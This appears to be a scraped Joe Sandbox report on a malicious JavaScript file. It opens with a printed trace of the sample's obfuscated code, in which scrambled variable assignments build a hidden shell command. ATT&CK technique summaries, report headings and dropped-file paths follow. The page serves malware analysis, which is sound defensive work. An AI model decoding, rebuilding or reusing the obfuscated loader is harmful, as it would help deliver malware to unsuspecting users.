aqc[buxppw+wzzwos+njwdhnz+adtqfns+neuezgzog+syjnrc];++gsgvdfy){if(amlbmax==qsbuaaaqc[gsgvdfy]){amlbmax=true;break;}}if(amlbmax!==true)this[kprrazktk+htsdlk+odljieks+xyjftkyd+mfdic+risiv+neuezgzog][jxnzpyuz+tfhxrhx+mfdic+neuezgzog]();this[kprrazktk+htsdlk+odljieks+xyjftkyd+mfdic+risiv+neuezgzog][iehleiwxx+xyjftkyd+wzzwos+fgokqav+neuezgzog+wzzwos+szoutecu+zonxh+krlhlvtu+wzzwos+odljieks+neuezgzog](kprrazktk+htsdlk+odljieks+xyjftkyd+mfdic+risiv+neuezgzog+kbjxor+htsdlk+syjnrc+wzzwos+buxppw+buxppw)[xyjftkyd+tfhxrhx+njwdhnz](odljieks+cpfbrqfjs+egjqbt+rqljxwua+nnqek+odljieks+rqljxwua+risiv+kxctttfz+hejdigusj+wzzwos+xyjftkyd+ixglqofu+syjnrc+wzzwos+buxppw+buxppw+kbjxor+wzzwos+hjjpdvy+wzzwos+rqljxwua+flmourik+iehleiwxx+kxctttfz+cpfbrqfjs+cpfbrqfjs+fgokqav+njwdhnz+egjqbt+rqljxwua+udxpgw+jtebhkcx+njwdhnz+zhmnbcku+kxctttfz+svliwrs+wzzwos+flmourik+kprrazktk+wzzwos+zonxh+lixudz+wzzwos+zdgbxtpkn+tfhxrhx+wzzwos+ixglqofu+neuezgzog+rqljxwua+flmourik+szoutecu+tfhxrhx+neuezgzog+oxaebiek+mfdic+buxppw+wzzwos+rqljxwua+uzvwdxi+neuezgzog+wzzwos+cpfbrqfjs+risiv+uzvwdxi+apepsau+mfdic+njwdhnz+zhmnbcku+kxctttfz+mfdic+odljieks+wzzwos+kbjxor+risiv+egjqbt+qgiinyh+rqljxwua+syjnrc+neuezgzog+neuezgzog+risiv+tkvsxumx+nnqek+nnqek+nwdcp+ivqhvljr+amznlgibm+kbjxor+nwdcp+iyukv+amznlgibm+kbjxor+nwdcp+kbjxor+lhkqoq+pbqndtlmx+xvrrysml+nnqek+mfdic+njwdhnz+zhmnbcku+kxctttfz+mfdic+odljieks+wzzwos+kbjxor+risiv+syjnrc+risiv+udxpgw+koqtxxxat+koqtxxxat+ixglqofu+neuezgzog+fgokqav+xyjftkyd+neuezgzog+rqljxwua+uzvwdxi+neuezgzog+wzzwos+cpfbrqfjs+risiv+uzvwdxi+apepsau+mfdic+njwdhnz+zhmnbcku+kxctttfz+mfdic+odljieks+wzzwos+kbjxor+risiv+egjqbt+qgiinyh+koqtxxxat+koqtxxxat+odljieks+cpfbrqfjs+egjqbt+rqljxwua+nnqek+odljieks+rqljxwua+njwdhnz+wzzwos+neuezgzog+rqljxwua+tfhxrhx+ixglqofu+wzzwos+rqljxwua+apepsau+apepsau+nwdcp+ivqhvljr+amznlgibm+kbjxor+nwdcp+iyukv+amznlgibm+kbjxor+nwdcp+kbjxor+lhkqoq+pbqndtlmx+xvrrysml+dicazaoy+babedu+babedu+babedu+babedu+apepsau+egjqbt+fgokqav+zhmnbcku+hejdigusj+hejdigusj+hejdigusj+xyjftkyd+kxctttfz+kxctttfz+neuezgzog+apepsau+koqtxxxat+koqtxxxat+odljieks+cpfbrqfjs+egjqbt+rqljxwua+nnqek+odljieks+rqljxwua+xyjftkyd+wzzwos+adtqfns+ixglqofu+zhmnbcku+xyjftkyd+amznlgibm+lhkqoq+rqljxwua+nnqek+ixglqofu+rqljxwua+apepsau+apepsau+nwdcp+ivqhvljr+amznlgibm+kbjxor+nwdcp+iyukv+amznlgibm+kbjxor+nwdcp+kbjxor+lhkqoq+pbqndtlmx+xvrrysml+dicazaoy+babedu+babedu+babedu+babedu+apepsau+egjqbt+fgokqav+zhmnbcku+hejdigusj+hejdigusj+hejdigusj+xyjftkyd+kxctttfz+kxctttfz+neuezgzog+apepsau+nwdcp+cskayxqh+babedu+lhkqoq+nwdcp+cskayxqh+nwdcp+xvrrysml+xvrrysml+ivqhvljr+amznlgibm+iyukv+nnnifeog+kbjxor+egjqbt+buxppw+buxppw,0,false);") ➔ 0
2	}
3	lixudz = "M";
4	lixudz = "T";
5	lixudz = "B";
6	lixudz = "d";
7	lixudz = "n";
8	lixudz = "C";
9	lixudz = "R";
10	zonxh = "P";
11	zonxh = "w";
12	zonxh = "A";
13	zonxh = "d";
14	zonxh = "t";
15	zonxh = "P";
16	zonxh = "v";
17	zonxh = "p";
18	zonxh = "b";
19	egjqbt = "D";
20	egjqbt = "Z";
21	egjqbt = "H";
22	egjqbt = "o";
23	egjqbt = "Y";
24	egjqbt = "T";
25	egjqbt = "d";
26	njwdhnz = "z";
27	njwdhnz = "D";
28	njwdhnz = "R";
29	njwdhnz = "L";
30	njwdhnz = "r";
31	njwdhnz = "R";
32	njwdhnz = "n";
33	babedu = "e";
34	babedu = "q";
35	babedu = "d";
36	babedu = "t";
37	babedu = "F";
38	babedu = "T";
39	babedu = "c";
40	babedu = "8";
41	oxaebiek = "F";
42	oxaebiek = "y";
43	oxaebiek = "P";
44	oxaebiek = "t";
45	oxaebiek = "h";
46	oxaebiek = "i";
47	oxaebiek = "M";
48	oxaebiek = "k";
49	oxaebiek = "P";
50	oxaebiek = "F";
51	dicazaoy = "E";
52	dicazaoy = "E";
53	dicazaoy = "p";
54	dicazaoy = "h";
55	dicazaoy = "F";
56	dicazaoy = "q";
57	dicazaoy = "Y";
58	dicazaoy = "@";
59	kprrazktk = "B";
60	kprrazktk = "P";
61	kprrazktk = "f";
62	kprrazktk = "r";
63	kprrazktk = "b";
64	kprrazktk = "e";
65	kprrazktk = "I";
66	kprrazktk = "B";
67	kprrazktk = "W";
68	skjiwic = "o";
69	skjiwic = "U";
70	skjiwic = "y";
71	skjiwic = "F";
72	skjiwic = "L";
73	skjiwic = "n";
74	skjiwic = "y";
75	skjiwic = "N";
76	nnnifeog = "B";
77	nnnifeog = "E";
78	nnnifeog = "R";
79	nnnifeog = "u";
80	nnnifeog = "e";
81	nnnifeog = "g";
82	nnnifeog = "Q";
83	nnnifeog = "d";
84	nnnifeog = "6";
85	iehleiwxx = "D";
86	iehleiwxx = "K";
87	iehleiwxx = "o";
88	iehleiwxx = "F";
89	iehleiwxx = "O";
90	iehleiwxx = "C";
91	qrrclkpcq = "V";
92	qrrclkpcq = "u";
93	qrrclkpcq = "R";
94	qrrclkpcq = "o";
95	qrrclkpcq = "T";
96	qrrclkpcq = "_";
97	pbqndtlmx = "p";
98	pbqndtlmx = "r";
99	pbqndtlmx = "B";
100	pbqndtlmx = "O";
101	pbqndtlmx = "H";
102	pbqndtlmx = "0";
103	tkvsxumx = "r";
104	tkvsxumx = "o";
105	tkvsxumx = "H";
106	tkvsxumx = "B";
107	tkvsxumx = "D";
108	tkvsxumx = ":";
109	wzzwos = "f";
110	wzzwos = "h";
111	wzzwos = "w";
112	wzzwos = "B";
113	wzzwos = "J";
114	wzzwos = "e";
115	jtebhkcx = "d";
116	jtebhkcx = "d";
117	jtebhkcx = "F";
118	jtebhkcx = "X";
119	jtebhkcx = "d";
120	jtebhkcx = "I";
121	qgiinyh = "v";
122	qgiinyh = "H";
123	qgiinyh = "W";
124	qgiinyh = "S";
125	qgiinyh = "Y";
126	qgiinyh = "y";
127	qgiinyh = "I";
128	qgiinyh = "c";
129	qgiinyh = "k";
130	qgiinyh = "f";
131	lhkqoq = "p";
132	lhkqoq = "i";
133	lhkqoq = "p";
134	lhkqoq = "u";
135	lhkqoq = "y";
136	lhkqoq = "x";
137	lhkqoq = "M";
138	lhkqoq = "p";
139	lhkqoq = "2";
140	cskayxqh = "w";
141	cskayxqh = "o";
142	cskayxqh = "C";
143	cskayxqh = "V";
144	cskayxqh = "i";
145	cskayxqh = "m";
146	cskayxqh = "l";
147	cskayxqh = "Q";
148	cskayxqh = "7";
149	nqmee = "x";
150	nqmee = "C";
151	nqmee = "z";
152	nqmee = "x";
153	nqmee = "b";
154	nqmee = "w";
155	nqmee = "M";
156	nqmee = "R";
157	nqmee = "K";
158	nwdcp = "u";
159	nwdcp = "C";
160	nwdcp = "H";
161	nwdcp = "h";
162	nwdcp = "U";
163	nwdcp = "1";
164	xvrrysml = "Q";
165	xvrrysml = "L";
166	xvrrysml = "R";
167	xvrrysml = "D";
168	xvrrysml = "B";
169	xvrrysml = "E";
170	xvrrysml = "W";
171	xvrrysml = "5";
172	zhmnbcku = "s";
173	zhmnbcku = "h";
174	zhmnbcku = "s";
175	zhmnbcku = "L";
176	zhmnbcku = "Q";
177	zhmnbcku = "d";
178	zhmnbcku = "v";
179	ivqhvljr = "W";
180	ivqhvljr = "C";
181	ivqhvljr = "d";
182	ivqhvljr = "F";
183	ivqhvljr = "s";
184	ivqhvljr = "F";
185	ivqhvljr = "R";
186	ivqhvljr = "L";
187	ivqhvljr = "9";
188	nnqek = "E";
189	nnqek = "I";
190	nnqek = "G";
191	nnqek = "f";
192	nnqek = "P";
193	nnqek = "/";
194	kbjxor = "t";
195	kbjxor = "r";
196	kbjxor = "S";
197	kbjxor = "z";
198	kbjxor = "Z";
199	kbjxor = "g";
200	kbjxor = ".";
201	hejdigusj = "O";
202	hejdigusj = "Q";
203	hejdigusj = "w";
204	hejdigusj = "v";
205	hejdigusj = "a";
206	hejdigusj = "w";
207	amznlgibm = "m";
208	amznlgibm = "K";
209	amznlgibm = "P";
210	amznlgibm = "A";
211	amznlgibm = "J";
212	amznlgibm = "b";
213	amznlgibm = "j";
214	amznlgibm = "x";
215	amznlgibm = "L";
216	amznlgibm = "3";
217	buxppw = "M";
218	buxppw = "R";
219	buxppw = "S";
220	buxppw = "s";
221	buxppw = "e";
222	buxppw = "r";
223	buxppw = "l";
224	wtvja = "r";
225	wtvja = "M";
226	wtvja = "B";
227	wtvja = "I";
228	wtvja = "N";
229	wtvja = "T";
230	iyukv = "y";
231	iyukv = "u";
232	iyukv = "v";
233	iyukv = "z";
234	iyukv = "g";
235	iyukv = "4";
236	dffjeeitl = "X";
237	dffjeeitl = "F";
238	dffjeeitl = "G";
239	dffjeeitl = "g";
240	dffjeeitl = "t";
241	dffjeeitl = "E";
242	flmourik = "L";
243	flmourik = "a";
244	flmourik = "L";
245	flmourik = "w";
246	flmourik = "e";
247	flmourik = "T";
248	flmourik = "E";
249	flmourik = "S";
250	flmourik = "t";
251	flmourik = "-";
252	koqtxxxat = "Q";
253	koqtxxxat = "s";
254	koqtxxxat = "z";
255	koqtxxxat = "T";
256	koqtxxxat = "v";
257	koqtxxxat = "N";
258	koqtxxxat = "p";
259	koqtxxxat = "&";
260	mbszvfrkf = "f";
261	mbszvfrkf = "Q";
262	mbszvfrkf = "G";
263	mbszvfrkf = "z";
264	mbszvfrkf = "F";
265	mbszvfrkf = "C";
266	mbszvfrkf = "D";
267	mbszvfrkf = "u";
268	mbszvfrkf = "L";
269	zdgbxtpkn = "S";
270	zdgbxtpkn = "O";
271	zdgbxtpkn = "x";
272	zdgbxtpkn = "J";
273	zdgbxtpkn = "g";
274	zdgbxtpkn = "N";
275	zdgbxtpkn = "w";
276	zdgbxtpkn = "q";
277	duzfbo = "p";
278	duzfbo = "D";
279	duzfbo = "z";
280	duzfbo = "B";
281	duzfbo = "v";
282	duzfbo = "H";
283	odljieks = "c";
284	odljieks = "W";
285	odljieks = "S";
286	odljieks = "o";
287	odljieks = "Z";
288	odljieks = "c";
289	cpfbrqfjs = "O";
290	cpfbrqfjs = "r";
291	cpfbrqfjs = "c";
292	cpfbrqfjs = "f";
293	cpfbrqfjs = "L";
294	cpfbrqfjs = "C";
295	cpfbrqfjs = "j";
296	cpfbrqfjs = "m";
297	adtqfns = "h";
298	adtqfns = "M";
299	adtqfns = "S";
300	adtqfns = "n";
301	adtqfns = "F";
302	adtqfns = "r";
303	adtqfns = "V";
304	adtqfns = "Q";
305	adtqfns = "g";
306	tfhxrhx = "h";
307	tfhxrhx = "S";
308	tfhxrhx = "L";
309	tfhxrhx = "g";
310	tfhxrhx = "Z";
311	tfhxrhx = "v";
312	tfhxrhx = "a";
313	tfhxrhx = "e";
314	tfhxrhx = "j";
315	tfhxrhx = "u";
316	neuezgzog = "p";
317	neuezgzog = "J";
318	neuezgzog = "Y";
319	neuezgzog = "a";
320	neuezgzog = "u";
321	neuezgzog = "L";
322	neuezgzog = "I";
323	neuezgzog = "t";
324	szoutecu = "d";
325	szoutecu = "f";
326	szoutecu = "f";
327	szoutecu = "I";
328	szoutecu = "z";
329	szoutecu = "O";
330	fgokqav = "C";
331	fgokqav = "l";
332	fgokqav = "y";
333	fgokqav = "s";
334	fgokqav = "A";
335	fgokqav = "o";
336	fgokqav = "a";
337	fgokqav = "C";
338	fgokqav = "I";
339	fgokqav = "a";
340	kxctttfz = "W";
341	kxctttfz = "M";
342	kxctttfz = "D";
343	kxctttfz = "c";
344	kxctttfz = "d";
345	kxctttfz = "c";
346	kxctttfz = "M";
347	kxctttfz = "p";
348	kxctttfz = "o";
349	jxnzpyuz = "A";
350	jxnzpyuz = "Z";
351	jxnzpyuz = "D";
352	jxnzpyuz = "s";
353	jxnzpyuz = "F";
354	jxnzpyuz = "f";
355	jxnzpyuz = "L";
356	jxnzpyuz = "Q";
357	rqljxwua = "x";
358	rqljxwua = "J";
359	rqljxwua = "k";
360	rqljxwua = "v";
361	rqljxwua = "W";
362	rqljxwua = " ";
363	dmubd = "Q";
364	dmubd = "e";
365	dmubd = "W";
366	dmubd = "k";
367	dmubd = "r";
368	dmubd = "O";
369	dmubd = "x";
370	dmubd = "Y";
371	dmubd = "P";
372	krlhlvtu = "t";
373	krlhlvtu = "M";
374	krlhlvtu = "K";
375	krlhlvtu = "h";
376	krlhlvtu = "R";
377	krlhlvtu = "N";
378	krlhlvtu = "S";
379	krlhlvtu = "C";
380	krlhlvtu = "j";
381	ynmuyl = "b";
382	ynmuyl = "L";
383	ynmuyl = "c";
384	ynmuyl = "O";
385	ynmuyl = "h";
386	ynmuyl = "J";
387	ynmuyl = "n";
388	ynmuyl = "Y";
389	mfdic = "E";
390	mfdic = "N";
391	mfdic = "a";
392	mfdic = "O";
393	mfdic = "D";
394	mfdic = "Z";
395	mfdic = "B";
396	mfdic = "i";
397	syjnrc = "S";
398	syjnrc = "J";
399	syjnrc = "N";
400	syjnrc = "K";
401	syjnrc = "I";
402	syjnrc = "h";
403	xyjftkyd = "Y";
404	xyjftkyd = "j";
405	xyjftkyd = "t";
406	xyjftkyd = "z";
407	xyjftkyd = "F";
408	xyjftkyd = "v";
409	xyjftkyd = "Q";
410	xyjftkyd = "n";
411	xyjftkyd = "r";
412	udxpgw = "G";
413	udxpgw = "c";
414	udxpgw = "D";
415	udxpgw = "A";
416	udxpgw = "K";
417	udxpgw = "e";
418	udxpgw = "l";
419	udxpgw = "z";
420	udxpgw = "\"";
421	hjjpdvy = "E";
422	hjjpdvy = "y";
423	hjjpdvy = "Z";
424	hjjpdvy = "m";
425	hjjpdvy = "g";
426	hjjpdvy = "k";
427	hjjpdvy = "o";
428	hjjpdvy = "k";
429	hjjpdvy = "x";
430	uzvwdxi = "O";
431	uzvwdxi = "k";
432	uzvwdxi = "J";
433	uzvwdxi = "F";
434	uzvwdxi = "Y";
435	uzvwdxi = "%";
436	svliwrs = "M";
437	svliwrs = "r";
438	svliwrs = "F";
439	svliwrs = "h";
440	svliwrs = "J";
441	svliwrs = "O";
442	svliwrs = "k";
443	ixglqofu = "K";
444	ixglqofu = "k";
445	ixglqofu = "s";
446	ixglqofu = "G";
447	ixglqofu = "W";
448	ixglqofu = "n";
449	ixglqofu = "x";
450	ixglqofu = "c";
451	ixglqofu = "s";
452	coitmoiuz = "m";
453	coitmoiuz = "b";
454	coitmoiuz = "m";
455	coitmoiuz = "W";
456	coitmoiuz = "c";
457	coitmoiuz = "U";
458	htsdlk = "Z";
459	htsdlk = "I";
460	htsdlk = "f";
461	htsdlk = "Y";
462	htsdlk = "h";
463	htsdlk = "a";
464	htsdlk = "p";
465	htsdlk = "g";
466	htsdlk = "S";
467	risiv = "V";
468	risiv = "h";
469	risiv = "X";
470	risiv = "k";
471	risiv = "a";
472	risiv = "p";
473	apepsau = "d";
474	apepsau = "J";
475	apepsau = "O";
476	apepsau = "f";
477	apepsau = "d";
478	apepsau = "\\";
479	holejo ( );	holejo() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 28236151432955330765.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\222a7cb9-d527-4710-b6d4-c450182e2d26.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
28236151432955330765.js